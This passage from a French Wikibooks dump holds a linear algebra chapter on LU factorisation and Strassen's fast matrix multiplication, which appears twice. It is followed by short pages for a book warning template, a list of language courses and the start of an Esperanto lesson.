sous la forme <math>Ax=b</math>, c'est-à-dire: <math> \begin{pmatrix} 2&1&1\\ 4&3&4\\ -2&2&8 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> Nous reconnaissons dans ce problème la matrice <math>A</math> de la section précédente. Le problème est donc équivalent à résoudre <math>LUx=b</math> : <math> \begin{pmatrix} 1&0&0\\ 2&1&0\\ -1&3&1 \end{pmatrix} \begin{pmatrix} 2&1&1\\ 0&1&2\\ 0&0&3 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> Pour résoudre ce problème on commence par faire la substitution <math>Ux=z</math>. Le problème se résoud donc en deux étapes, premièrement on résoud <math>Lz=b</math>, c'est une descente triangulaire: <math> \begin{pmatrix} 1&0&0\\ 2&1&0\\ -1&3&1 \end{pmatrix} \begin{pmatrix}z_1\\z_2\\z_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> La première ligne nous donne <math>z_1=3</math>. Ce que l'on peut introduire dans la deuxième ligne qui devient <math>2\cdot3+z_2=9</math>, d'où <math>z_2=3</math>. On introduit ces deux valeurs dans la troisième ligne qui devient <math>-1\cdot3+3\cdot3+z_3=12</math>, ce qui donne <math>z_3=6</math>. Deuxièmement on résoud la remontée triangulaire <math>Ux=z</math> <math> \begin{pmatrix} 2&1&1\\ 0&1&2\\ 0&0&3 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\3\\6\end{pmatrix}. </math> La troisième ligne nous donne <math>3x_3=6</math>, c'est-à-dire <math>x_3=2</math>. Que l'on insère dans la deuxième ligne, ce qui donne <math>x_2+2\cdot2=3</math>, donc <math>x_2=-1</math>. Finalement, on introduit <math>x_1</math> et <math>x_2</math> dans la première ligne pour avoir <math>2x_1-1+2=3</math> et <math>x_1=1</math>. Les descentes et remontées triangulaires se font relativement rapidement, ce qui permet si on a plusieurs systèmes d'équations linéaire ayant la même matrice de toutes les résoudre à peu de frais une fois la matrice factorisé. Nous verrons, plusieurs situtations où cela s'avère utile tout au long de ce livre. ===Factorisation <math>PLU</math>=== ===Factorisation <math>LDU</math>=== ==Méthode de Gauss-Jordan== ===Méthode de Gauss-Jordan=== C'est une méthode permettant la mise sous carré d'une forme quadratique. ===Chaînes de Markov=== ===Équations chimiques=== ==Temps d'exécutions et considérations numériques== ==Méthodes d'ordre inférieur à <math>O(n^3)</math>== Note : Cette section introduit des notions qui sont peu utilisées et difficilement utilisables. De plus les notions de cette sections ne serviront pas dans le reste de ce livre. Le lecteur peut donc sans crainte passer à la section suivante. ===Multiplication rapide de matrices=== La méthode de multiplication suivante est appelé l'algorithme de Strassen, ou multiplication rapide de matrices. Soient ''A'' et ''B'' les matrices: <math>A=\begin{pmatrix} a_{11}&a_{12}\\ a_{21}&a_{22}\end{pmatrix} \ \rm{et}\ B=\begin{pmatrix} b_{11}&b_{12}\\ b_{21}&b_{22}\end{pmatrix}. </math> La méthode standard pour multiplier ces deux matrices demandes 8 multiplications scalaires. Mais il est possible de faire cette multiplication matricielle avec une multiplication scalaire de moins de la manière suivante. On pose: :<math>p_1 = (a_{11} + a_{22}) (b_{11} + b_{22})</math> :<math>p_2 := (a_{21} + a_{22}) b_{11}</math> :<math>p_3 := a_{11} (b_{12} - b_{22})</math> :<math>p_4:= a_{22} (b_{21} - b_{11})</math> :<math>p_5 := (a_{11} + a_{12}) b_{22}</math> :<math>p_6 := a_{21} - a_{11}) (b_{11} + b_{12})</math> :<math>p_7 := (a_{12} - a_{22}) (b_{21} + b_{22})</math> On peut voir que <math>AB=\begin{pmatrix} p_1+p_4-p_5+p_7 & p_3+p_5\\ p_2+p_4 & p_1-p_2+p_3+p_6 \end{pmatrix}. </math> Cette façon de multiplier ces deux matrices peut sembler compliquée et contre-intuitive et à première vue le gain n'est pas très important, on économise une multiplication au prix de 14 additions (ou soustraction) supplémentaires. Là où cette méthode devient plus intéressante, c'est lorsque les matrices sont de plus grande taille. Si les matrices <math>A</math> et <math>B</math> était des matrices 200&times;200 au-lieu de matrices 2&times;2, alors nous pourrions utiliser le même procédé mais en utilisant des sous-matrices de taille 100&times;100 à la place des scalaires. On économise alors un produit matricielle 100&times;100 au coût de 14 additions matricielles 100&times;100. Les produits matriciels 100&times;100 exigent environ <math>100^3</math> additions et multiplications scalaires lorsqu'ils sont faits de façon standard mais les additions matricielles 100&times;100 ne demandent que <math>100^2</math> additions. Donc le produit matriciel économisé prendrait beaucoup plus de temps de calcul que les 14 additions matricielles supplémentaires. De plus, il est possible d'itérer ce processus. Si on veut multiplier 2 matrices de dimension <math>2^n</math>, on peut utiliser l'algorithme ci-dessus avec des sous-matrices de dimension <math>2^{n-1}</math>&times;<math>2^{n-1}</math> et faire chacune des 7 multiplications nécessaires en utilsant la même méthode avec des sous-matrices de dimension <math>2^{n-2}</math>&times;<math>2^{n-2}</math>. On peut donc multiplier deux matrices de dimension <math>2^n</math>&times;<math>2^n</math> en ne faisant que <math>7^n</math> multiplications scalaires comparativement à <math>(2^n)^3=8^n</math> multiplications scalaires pour la méthode standard. Si on veut multiplier deux très grandes matrices dont les dimensions ne sont pas des puissances de deux, on peut utiliser la même procédure simplement en complétant les matrices par des zéros et des uns sur la diagonale pour obtenir une dimension qui est puissance de 2. Il suffira ensuite de tronquer les lignes et les colonnes artificielles dans le résultat. ===Résoudre des systèmes d'équations linéaires en utilisant la multiplication rapide de matrices=== Pour résoudre un système d"équation linéaire <math>Ax=b</math> en utilisant la multiplication rapide de matrices, on commence par calculer l'inverse de la matrice <math>A</math>. Pour ce faire on utilise une notation par block de la matrice. Si a est une matrice de dimension <math>2n</math>&times;<math>2n</math>, alors on forme les sous matrices de dimensions <math>n</math>&times;<math>n</math>: <math>A_{11}</math>, <math>A_{12}</math>, <math>A_{21}</math> et <math>A_{22}</math> de manière à ce que <math> A=\begin{pmatrix} A_{11}&A_{12}\\ A_{21}&A_{22}\end{pmatrix}. </math> Alors l'inverse de la matrice <math>A</math> peut s'écrire: <math> A^{-1}=\begin{pmatrix} A_{11}^{-1}+A_{11}^{-1}A_{12}(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21}A_{11}^{-1}&-A_{11}^{-1}A_{12}(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}\\ -(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21}A_{11}^{-1}&(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}\end{pmatrix}. </math> Cela nécessite de calculer 2 inverses de matrices et 5 produits matricielles tous de dimensions <math>n</math>&times;<math>n</math>. En effet il suffit de calculer les inverses :<math>A_{11}^{-1}</math> :<math>(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}</math> et de faire les produits matricielle :<math>A_{11}^{-1}A_{12}</math> :<math>A_{21}(A_{11}^{-1}A_{12})</math> :<math>(A_{11}^{-1}A_{12})(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1})</math> :<math>((A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1})A_{21}</math> :<math>((A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21})A_{11}^{-1}</math> En calculant ces produits matricielle et ces matrices inverses en utilisant la multiplication rapide et cette méthode d'inversion manière récursive le nombre d'opération nécessaire pour inverser une matrice de dimension <math>n</math>&times;<math>n</math> est de l'ordre de <math>O(n^{log_2(7)})</math>. Les méthodes de multiplication rapide et d'inversion rapide de matrice d'écrite ici ne sont pas optimales. On peut construire des méthodes plus élaborer de multiplication de matrices par exemle on peut multiplier des matrices 3&times;3 plus efficacement que les matrices 2&times2; par un astuce similaire à celui décrit ci-haut mais plus élaborer. Il est possible de dévelloper ce genre d'astuce de plus en plus élaborer sur des matrices de plus en plus grande. Il est possible d'avoir des méthodes dont la complexité numérique pour une matrice <math>n</math>&times;<math>n</math> est de l'ordre de <math>O(n^{2,376})</math> ce qui est bien moins que le <math>O(n^{log_2(7)}\sim O(n^{2,808})</math>. Cependant toutes ces méthodes ont des problèmes de stabilités numériques, c'est-à-dire que de petites erreurs d'arrondie peuvent avoir des conséquences désastreuses sur les résultats. Pour cette raison, ces méthodes ne sont pas utilisées. Peut-être un jour trouvera-t-on une solution à ces problèmes d'instabilités numériques. ==Systèmes indéterminés et systèmes surdéterminés == ==Valeurs propres et vecteurs propres== ==Programation linéaire== ===Méthode du Simplex=== ===Dualité=== ==Systèmes d'équations linéaires et matrices== ===Résolution de systèmes d'équations linéaires=== ===Systèmes de deux équations à deux inconnues=== ==Factorisation '''<math>LU</math>''' d'une matrice== Certains systèmes d'équations linéaires sont plus faciles à résoudre que d'autres. Un cas particulier de système facile à résoudre est un système d'équations triangulaire tel que <math> \begin{matrix} a_{11} x_1 &+& a_{12} x_2 &+& a_{13} x_3 &=& b_1 \\ && a_{22} x_2 &+& a_{23} x_3 &=& b_2 \\ &&&& a_{33} x_3 &=& b_3. \end{matrix} </math> La factorisation <math>LU</math> d'une matrice permet de transformer un système d'équations linéaires en deux systèmes d'équations triangulaires. En effet, si <math>A=LU</math> avec <math>L</math> une matrice triangulaire inférieure et <math>U</math> une matrice triangulaire supérieure (la notation <math>LU</math> prend son origine de l'anglais <math>L</math> pour lower et <math>U</math> pour upper) alors résoudre <math>Ax=b</math> est équivalent à résoudre <math>LUx=b</math> qui peut se faire en résolvant les deux systèmes triangulaires <math>Lz=b</math> et <math>Ux=z</math>. ===Factorisation <math>LU</math> sans permutation=== Pour alléger l'écriture, nous allons montrer comment faire une factorisation <math>LU</math> sur un exemple simple d'une matrice 3&times;3. Le lecteur devrait être capable de généraliser facilement la procédure à des matrices carrées d'autres dimensions. Soit <math>A</math> la matrice que l'on veut factoriser : <math> A=\begin{pmatrix} 2 & 1 & 1 \\ 4 & 3 & 4 \\ -2 & 2 & 8 \end{pmatrix} </math> Nous transformerons la matrice <math>A</math> en une matrice triangulaire supérieure par des opérations linéaires sur les lignes, ce sera la matrice <math>U</math>, la matrice <math>L</math> pourra être récupérée simplement en prenant note des opérations effectuées. Pour faire la factorisation, nous procèdons par colonne. Nous voulons mettre des zéros dans la première colonne partout sous le premier élément, ce premier élément que l'on n'annule pas est appelé le pivot. Pour mettre un zéro à la position <math>a_{21}</math>, nous retranchons 2 fois la première ligne de la deuxième. Le nombre de fois qu'il faut soustraire la première ligne est bien entendu obtenu en divisant l'élément <math>a_{21}</math> par le pivot <math>a_{11}</math>, nous obtenons : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ -2 & 2 & 8 \end{pmatrix}. </math> Nous devons garder en mémoire l'opération qui a été faite de manière à pouvoir construire la matrice <math>L</math>, alors appelons <math>l_{21}</math> le facteur de l'opération effectuée, c'est-à-dire le nombre de fois que l'on a soustrait la première ligne à la deuxième, ici nous avons <math>l_{21}=2</math>. Continuons avec l'élément suivant sur la première colonne. Nous voulons mettre un zéro à la position <math>a_{31}</math>. Cette fois il nous faudra ajouter la ligne 1 à la ligne 3 ; à l'opération précédente nous avions pris en note combien de fois nous avions '''soustrait''' la ligne 1 à la ligne 2. Pour être constant dans notre façon de noter les opération et parce que, comme nous le verons plus loin, c'est beaucoup plus pratique, nous noterons toujours combien de fois nous soustrayons les lignes. Au lieu de noter que nous ajoutons une fois la ligne 1 à la ligne 3, nous noterons que nous soustrayons moins une fois la ligne 1 à la ligne 3, donc <math>l_{31}=-1</math> et nous avons maintenant la matrice : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 3 & 9 \end{pmatrix}. </math> PASSONS maintenant à la deuxième colonne. Il nous faut choisir un nouveau pivot sur la deuxième colonne. Nous ne pouvons pas choisir le pivot sur la première ligne sinon nous remplirons la première colonne en annulant les entrées dans la deuxième colonne. Prenons donc l'élément à la position 2,2 pour pivot. L'opération pour mettre un zéro à la position 3,2 sera de soustraire 3 fois la deuxième ligne à la troisième ligne. Nous obtenons notre matrice triangulaire supérieure : <math> \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 0 & 3 \end{pmatrix}. </math> Et nous notons le facteur de l'opération <math>l_{32}=3</math>. La matrice <math>L</math> est obtenue en mettant des zéros au-dessus de la diagonale, des un sur la diagonale et les coefficients pris en note à leur position respective sous la diagonale c'est-à-dire : <math> L=\begin{pmatrix} 1 & 0 & 0 \\ l_{21} & 1 & 0 \\ l_{31} & l_{32} & 1 \end{pmatrix} =\begin{pmatrix} 1 & 0 & 0 \\ 2 & 1 & 0 \\ -1 & 3 & 1 \end{pmatrix}. </math> Avant de démontrer pourquoi cela fonctionne, vérifions-le sur cet exemple en faisant le produit : <math> A=LU=\begin{pmatrix} 1 & 0 & 0 \\ 2 & 1 & 0 \\ -1 & 3 & 1 \end{pmatrix} \begin{pmatrix} 2 & 1 & 1 \\ 0 & 1 & 2 \\ 0 & 0 & 3 \end{pmatrix} =\begin{pmatrix} 2 & 1 & 1 \\ 4 & 3 & 4 \\ -2 & 2 & 8 \end{pmatrix}. </math> Pour voir pourquoi les matrices <math>L</math> et <math>U</math> obtenues selon la procédure décrite ci-haut sont bien des facteurs de la matrice <math>A</math> nous introduisons des matrices de soustraction de lignes <math>E_{ij}(c)</math>. Ces matrices sont obtenus en mettant des 1 sur la diagonale et l'élément <math>c</math> à la position <math>i,j</math>. Par exemple, pour les matrices 3&times;3 : <math> E_{21}(-2) = \begin{pmatrix} 1&0&0\\ -2&1&0\\ 0&0&1 \end{pmatrix}. </math> On peut voir que prémultiplier une matrice par <math>E_{21}(-2)</math> a pour effet de soustraire deux fois la première ligne à la deuxième ligne. Et de manière générale, prémultiplier une matrice par <math>E_{ij}(c)</math> a pour effet de soustraire <math>-c</math> fois la ligne <math>j</math> à la ligne <math>i</math>. Donc la triangularisation que l'on a faite ci-haut peut s'écrire <math>U = E_{32}(-3) E_{31}(1) E_{21}(-2) A.</math> L'inverse d'une matrice <math>E_{ij}(c)</math> est facile à déterminer. L'inverse est simplement <math>E_{ij}(-c)</math>, en effet <math>E_{ij}(c) E_{ij}(-c) = I</math>. En multipliant à gauche l'équation de <math>U</math> ci-haut par <math>E_{32}(3)</math> on obtient: <math>E_{32}(3) U = E_{32}(3) E_{32}(-3) E_{31}(1) E_{21}(-2) A = E_{31}(1) E_{21}(-2) A.</math> Et en remultipliant successivement par <math>E_{31}(-1)</math> et <math>E_{21}(2)</math>, on obtient <math>E_{21}(2) E_{31}(-1) E_{32}(3) U =E_{21}(2) E_{31}(-1) E_{31}(1) E_{21}(-2) A = A.</math> Nous laissons au lecteur l'exercice de vérifier que : <math>E_{21}(2) E_{31}(-1) E_{32}(3) = L.</math> ===Résoudre un système d'équation linéaire par factorisation <math>LU</math> de la matrice=== Soit à résoudre le système d'équations <math> \begin{matrix} 2x_1&+&x_2&+&x_3&=&3\\ 4x_1&+&3x_2&+&4x_3&=&9\\ -2x_1&+&2x_2&+&8x_3&=&12. \end{matrix} </math> Il est plus pratique d'utiliser la notation matricielle pour écrire le système d'équation, alors dorénavant nous n'écrirons plus de système d'équation tel que ci-haut, nous l'écrirons sous la forme <math>Ax=b</math>, c'est-à-dire: <math> \begin{pmatrix} 2&1&1\\ 4&3&4\\ -2&2&8 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> Nous reconnaissons dans ce problème la matrice <math>A</math> de la section précédente. Le problème est donc équivalent à résoudre <math>LUx=b</math> : <math> \begin{pmatrix} 1&0&0\\ 2&1&0\\ -1&3&1 \end{pmatrix} \begin{pmatrix} 2&1&1\\ 0&1&2\\ 0&0&3 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> Pour résoudre ce problème on commence par faire la substitution <math>Ux=z</math>. Le problème se résoud donc en deux étapes, premièrement on résoud <math>Lz=b</math>, c'est une descente triangulaire: <math> \begin{pmatrix} 1&0&0\\ 2&1&0\\ -1&3&1 \end{pmatrix} \begin{pmatrix}z_1\\z_2\\z_3\end{pmatrix}= \begin{pmatrix}3\\9\\12\end{pmatrix}. </math> La première ligne nous donne <math>z_1=3</math>. Ce que l'on peut introduire dans la deuxième ligne qui devient <math>2\cdot3+z_2=9</math>, d'où <math>z_2=3</math>. On introduit ces deux valeurs dans la troisième ligne qui devient <math>-1\cdot3+3\cdot3+z_3=12</math>, ce qui donne <math>z_3=6</math>. Deuxièmement on résoud la remontée triangulaire <math>Ux=z</math> <math> \begin{pmatrix} 2&1&1\\ 0&1&2\\ 0&0&3 \end{pmatrix} \begin{pmatrix}x_1\\x_2\\x_3\end{pmatrix}= \begin{pmatrix}3\\3\\6\end{pmatrix}. </math> La troisième ligne nous donne <math>3x_3=6</math>, c'est-à-dire <math>x_3=2</math>. Que l'on insère dans la deuxième ligne, ce qui donne <math>x_2+2\cdot2=3</math>, donc <math>x_2=-1</math>. Finalement, on introduit <math>x_1</math> et <math>x_2</math> dans la première ligne pour avoir <math>2x_1-1+2=3</math> et <math>x_1=1</math>. Les descentes et remontées triangulaires se font relativement rapidement, ce qui permet si on a plusieurs systèmes d'équations linéaire ayant la même matrice de toutes les résoudre à peu de frais une fois la matrice factorisé. Nous verrons, plusieurs situtations où cela s'avère utile tout au long de ce livre. ===Factorisation <math>PLU</math>=== ===Factorisation <math>LDU</math>=== ==Méthode de Gauss-Jordan== ===Méthode de Gauss-Jordan=== C'est une méthode permettant la mise sous carré d'une forme quadratique. ===Chaînes de Markov=== ===Équations chimiques=== ==Temps d'exécutions et considérations numériques== ==Méthodes d'ordre inférieur à <math>O(n^3)</math>== Note : Cette section introduit des notions qui sont peu utilisées et difficilement utilisables. De plus les notions de cette sections ne serviront pas dans le reste de ce livre. Le lecteur peut donc sans crainte passer à la section suivante. ===Multiplication rapide de matrices=== La méthode de multiplication suivante est appelé l'algorithme de Strassen, ou multiplication rapide de matrices. Soient ''A'' et ''B'' les matrices: <math>A=\begin{pmatrix} a_{11}&a_{12}\\ a_{21}&a_{22}\end{pmatrix} \ \rm{et}\ B=\begin{pmatrix} b_{11}&b_{12}\\ b_{21}&b_{22}\end{pmatrix}. </math> La méthode standard pour multiplier ces deux matrices demandes 8 multiplications scalaires. Mais il est possible de faire cette multiplication matricielle avec une multiplication scalaire de moins de la manière suivante. On pose: :<math>p_1 = (a_{11} + a_{22}) (b_{11} + b_{22})</math> :<math>p_2 := (a_{21} + a_{22}) b_{11}</math> :<math>p_3 := a_{11} (b_{12} - b_{22})</math> :<math>p_4:= a_{22} (b_{21} - b_{11})</math> :<math>p_5 := (a_{11} + a_{12}) b_{22}</math> :<math>p_6 := a_{21} - a_{11}) (b_{11} + b_{12})</math> :<math>p_7 := (a_{12} - a_{22}) (b_{21} + b_{22})</math> On peut voir que <math>AB=\begin{pmatrix} p_1+p_4-p_5+p_7 & p_3+p_5\\ p_2+p_4 & p_1-p_2+p_3+p_6 \end{pmatrix}. </math> Cette façon de multiplier ces deux matrices peut sembler compliquée et contre-intuitive et à première vue le gain n'est pas très important, on économise une multiplication au prix de 14 additions (ou soustraction) supplémentaires. Là où cette méthode devient plus intéressante, c'est lorsque les matrices sont de plus grande taille. Si les matrices <math>A</math> et <math>B</math> était des matrices 200&times;200 au-lieu de matrices 2&times;2, alors nous pourrions utiliser le même procédé mais en utilisant des sous-matrices de taille 100&times;100 à la place des scalaires. On économise alors un produit matricielle 100&times;100 au coût de 14 additions matricielles 100&times;100. Les produits matriciels 100&times;100 exigent environ <math>100^3</math> additions et multiplications scalaires lorsqu'ils sont faits de façon standard mais les additions matricielles 100&times;100 ne demandent que <math>100^2</math> additions. Donc le produit matriciel économisé prendrait beaucoup plus de temps de calcul que les 14 additions matricielles supplémentaires. De plus, il est possible d'itérer ce processus. Si on veut multiplier 2 matrices de dimension <math>2^n</math>, on peut utiliser l'algorithme ci-dessus avec des sous-matrices de dimension <math>2^{n-1}</math>&times;<math>2^{n-1}</math> et faire chacune des 7 multiplications nécessaires en utilsant la même méthode avec des sous-matrices de dimension <math>2^{n-2}</math>&times;<math>2^{n-2}</math>. On peut donc multiplier deux matrices de dimension <math>2^n</math>&times;<math>2^n</math> en ne faisant que <math>7^n</math> multiplications scalaires comparativement à <math>(2^n)^3=8^n</math> multiplications scalaires pour la méthode standard. Si on veut multiplier deux très grandes matrices dont les dimensions ne sont pas des puissances de deux, on peut utiliser la même procédure simplement en complétant les matrices par des zéros et des uns sur la diagonale pour obtenir une dimension qui est puissance de 2. Il suffira ensuite de tronquer les lignes et les colonnes artificielles dans le résultat. ===Résoudre des systèmes d'équations linéaires en utilisant la multiplication rapide de matrices=== Pour résoudre un système d"équation linéaire <math>Ax=b</math> en utilisant la multiplication rapide de matrices, on commence par calculer l'inverse de la matrice <math>A</math>. Pour ce faire on utilise une notation par block de la matrice. Si a est une matrice de dimension <math>2n</math>&times;<math>2n</math>, alors on forme les sous matrices de dimensions <math>n</math>&times;<math>n</math>: <math>A_{11}</math>, <math>A_{12}</math>, <math>A_{21}</math> et <math>A_{22}</math> de manière à ce que <math> A=\begin{pmatrix} A_{11}&A_{12}\\ A_{21}&A_{22}\end{pmatrix}. </math> Alors l'inverse de la matrice <math>A</math> peut s'écrire: <math> A^{-1}=\begin{pmatrix} A_{11}^{-1}+A_{11}^{-1}A_{12}(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21}A_{11}^{-1}&-A_{11}^{-1}A_{12}(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}\\ -(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21}A_{11}^{-1}&(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}\end{pmatrix}. </math> Cela nécessite de calculer 2 inverses de matrices et 5 produits matricielles tous de dimensions <math>n</math>&times;<math>n</math>. En effet il suffit de calculer les inverses :<math>A_{11}^{-1}</math> :<math>(A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}</math> et de faire les produits matricielle :<math>A_{11}^{-1}A_{12}</math> :<math>A_{21}(A_{11}^{-1}A_{12})</math> :<math>(A_{11}^{-1}A_{12})((A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1})</math> :<math>((A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1})A_{21}</math> :<math>((A_{22}-A_{21}A_{11}^{-1}A_{12})^{-1}A_{21})A_{11}^{-1}</math> En calculant ces produits matricielle et ces matrices inverses en utilisant la multiplication rapide et cette méthode d'inversion manière récursive le nombre d'opération nécessaire pour inverser une matrice de dimension <math>n</math>&times;<math>n</math> est de l'ordre de <math>O(n^{log_2(7)})</math>. Les méthodes de multiplication rapide et d'inversion rapide de matrice d'écrite ici ne sont pas optimales. On peut construire des méthodes plus élaborer de multiplication de matrices par exemle on peut multiplier des matrices 3&times;3 plus efficacement que les matrices 2&times2; par un astuce similaire à celui décrit ci-haut mais plus élaborer. Il est possible de dévelloper ce genre d'astuce de plus en plus élaborer sur des matrices de plus en plus grande. Il est possible d'avoir des méthodes dont la complexité numérique pour une matrice <math>n</math>&times;<math>n</math> est de l'ordre de <math>O(n^{2,376})</math> ce qui est bien moins que le <math>O(n^{log_2(7)}\sim O(n^{2,808})</math>. Cependant toutes ces méthodes ont des problèmes de stabilités numériques, c'est-à-dire que de petites erreurs d'arrondie peuvent avoir des conséquences désastreuses sur les résultats. Pour cette raison, ces méthodes ne sont pas utilisées. Peut-être un jour trouvera-t-on une solution à ces problèmes d'instabilités numériques. ==Systèmes indéterminés et systèmes surdéterminés == ==Valeurs propres et vecteurs propres== ==Programation linéaire== ===Méthode du Simplex=== ===Dualité=== ===Liens externes=== * [http://www.math-linux.com/spip.php?rubrique10 Résolution de systèmes linéaires] Modèle:Avertissement LPI 572 20167 2005-08-27T14:27:21Z Pfv2 445 {| style="border:1px black solid; margin=5px 5px 1em 1em;" cellspacing="0" cellpadding="5" align="center" |- | style="text-align:center;" | '''AVERTISSEMENT''' '''Ce livre est en cours de rédaction.'''<br /> '''Il contient certainement des erreurs ou des approximations.'''<br /> '''L'auteur décline toute responsabilité'''<br /> '''quant à son utilisation pour passer les examens LPI ou pour tout autre usage.''' |} Enseignement des langues 577 42771 2006-05-19T05:22:16Z Mly 1518 Voici les cours de langues de Wikilivres, par ordre alphabétique. * [[Enseignement de l'allemand|Allemand]] ** [[Grammaire allemande]] * [[Enseignement de l'anglais|Anglais]] * [[Enseignement de l'arabe|Arabe]] ** [[Basic English|BASIC English]] ** [[Dictionnaire des 850 mots du BASIC English|dico 850 mots Basic]] (à déplacer dans Wiktionnaire) * [[Enseignement du catalan|Catalan]] * [[Enseignement du corse|Corse]] * [[Cours d'espagnol|Espagnol]] * [[Enseignement de l'espéranto|Espéranto]] ** [[wikt:Catégorie:espéranto|Dictionnaire espéranto]] dans le Wiktionnaire * [[Enseignement du français|Français]] * [[Enseignement du hindi|Hindi]] * [[Enseignement du gujarati|Gujarati]] * [[Enseignement de l'interlingue (occidental)|Interlingue (occidental)]] ** [[wikt:fr:Catégorie:Interlingua|mots interlingues dans le Wiktionnaire]] * [[Enseignement de l'italien|Italien]] * [[Japonais:Table des matières|Japonais]] * [[Méthode latine]][[Image:red.png]] * [[Enseignement du néerlandais|Néerlandais (Hollandais, Flamand)]] * [[Enseignement du persan (farsi)|Persan (farsi)]] * [[Enseignement du polonais|Polonais]] * [[Enseignement du portugais Boas-vindas|Portugais]] * [[Suédois]] * [[Tchèque]] == Divers == * [[Dire merci dans le monde]] * [[Phrases usuelles en différentes langues]] Cours d'espagnol 578 12273 2004-10-11T15:05:53Z Yann 2 Cours d'espagnol déplacé vers Enseignement de l'espagnol #REDIRECT [[Enseignement de l'espagnol]] Espéranto 579 45257 2006-06-20T07:53:47Z 86.199.20.230 /* Prononciation de l'espéranto */ Dans l'attente d'un cours sur ces pages, vous avez la possibilité de vous initier gratuitement à l'espéranto sur ce site : * ''Kurso de Esperanto'' : http://www.ikurso.esperanto-jeunes.org : Ces cours peuvent être suivis de manière autonome ou avec l'aide d'un correcteur bénévole qui corrigera les exercices des différentes leçons. * Le [[wikt:Portail:Espéranto|portail de l'espéranto]] sur le Wiktionnaire ==Sommaire== * [[Espéranto : Première Leçon]] * [[Espéranto : Deuxième Leçon]] * [[Espéranto : Troisième Leçon]] * [[Espéranto : Quatrième Leçon]] * [[Espéranto : Cinquième Leçon]] * [[Espéranto : Sixième Leçon]] * [[Espéranto : Septième Leçon]] * [[Espéranto : Huitième Leçon]] * [[Espéranto : Neuvième Leçon]] * [[Espéranto : Dixième Leçon]] * [[Espéranto : Onzième Leçon]] * [[Espéranto : Douzième Leçon]] * [[Espéranto : Treizième Leçon]] * [[Espéranto : Quatorzième Leçon]] ==Alphabet== En espéranto, l'accent tonique est toujours sur l'avant-dernière syllabe : A a B b C c Cx ĉ D d E e F f G g Gx ĝ H h Hx ĥ I i J j Jx ĵ K k L l M m N n O o P p R r S s Sx ŝ T t U u Ux ŭ V v Z z ===Prononciation de l'espéranto=== La prononciation de l'espéranto, est moins capricieuse que celle de la plupart des langues nationales. De plus, l'ortographe ne pose guère de problème, chaque lettre ne correspondant qu'à un seul son et inversement *'''A''' '''a''' "'''a'''" comme dans "'''a'''beille". *'''B''' '''b''' "'''b'''" comme dans "'''b'''allon". *'''C''' '''c''' "'''ts'''" comme dans "'''ts'''ar". *'''Cx''' '''ĉ''' "'''tch'''" comme dans "'''tch'''èque". *'''D''' '''d''' "'''d'''" comme dans "'''d'''é". *'''E''' '''e''' "'''é'''" comme dans "'''é'''léphant". *'''F''' '''f''' "'''f'''" comme dans "'''f'''ête". *'''G''' '''g''' "'''g'''" comme dans "'''g'''uerre". *'''Gx''' '''ĝ''' "'''dj'''" comme dans "'''dj'''élaba". *'''H''' ''''h''' "'''h'''" comme dans "'''h'''omme". *'''Hx''' '''ĥ''' "'''rh'''" comme dans "Ba'''ch'''". *'''I''' '''i''' "'''i'''" comme dans "'''i'''mmoral" *'''J''' '''j''' "'''y'''" comme dans "'''y'''oyo". *'''Jx''' '''ĵ''' "'''j'''" comme dans "'''j'''ournal". *'''K''' '''k''' "'''k'''" comme dans "'''k'''aki". *'''L''' '''l''' "'''l'''" comme dans "'''l'''ong". *'''M''' '''m''' "'''m'''" comme dans "'''m'''ain". *'''N''' '''n''' "'''n'''" comme dans "'''n'''on". *'''O''' '''o''' "'''o'''" comme dans "'''o'''reille". *'''P''' '''p''' "'''p'''" comme dans "'''p'''ain". *'''R''' '''r''' "'''r'''" comme dans "'''r'''ouge". *'''S''' '''s''' "'''s'''" comme dans "'''s'''erpent". *'''Sx''' '''ŝ''' "'''ch'''" comme dans "'''ch'''at". *'''T''' '''t''' "'''t'''" comme dans "'''t'''able". *'''U''' '''u''' "'''ou'''" comme "ch'''ou'''". *'''Ux''' '''ŭ''' "'''w'''" comme dans "'''w'''ater". *'''V''' '''v''' "'''v'''" comme dans "'''v'''ieux". *'''Z''' '''z''' "'''z'''" comme dans "'''z'''en". '''En espéranto parlé, les consonnes se distinguent en les prononcant suivies de la voyelle '''''o'''''.''' ==Les chiffres== 0 1 2 3 4 5 6 7 8 9 10 100 1000 "nulo, unu, du, tri, kvar, kvin, ses, sep, ok, naŭ, dek, cent, mil" On forme les dizaines et les centaines par la réunion des dix premiers nombres. ==Les terminaisons verbales== En espéranto, tous les verbes à l'infinitif se terminent par "i" ex: manĝi = manger ; diri = dire ===Les temps sont indiqués par des finales invariables :=== ===Présent=== Le présent s'indique en mettant '''-as'''. "Mi manĝas" = "Je mange" ===Passé=== Le passé s'indique en mettant '''-is'''. "Mi manĝis = "Je mangeais" ===Futur=== Le 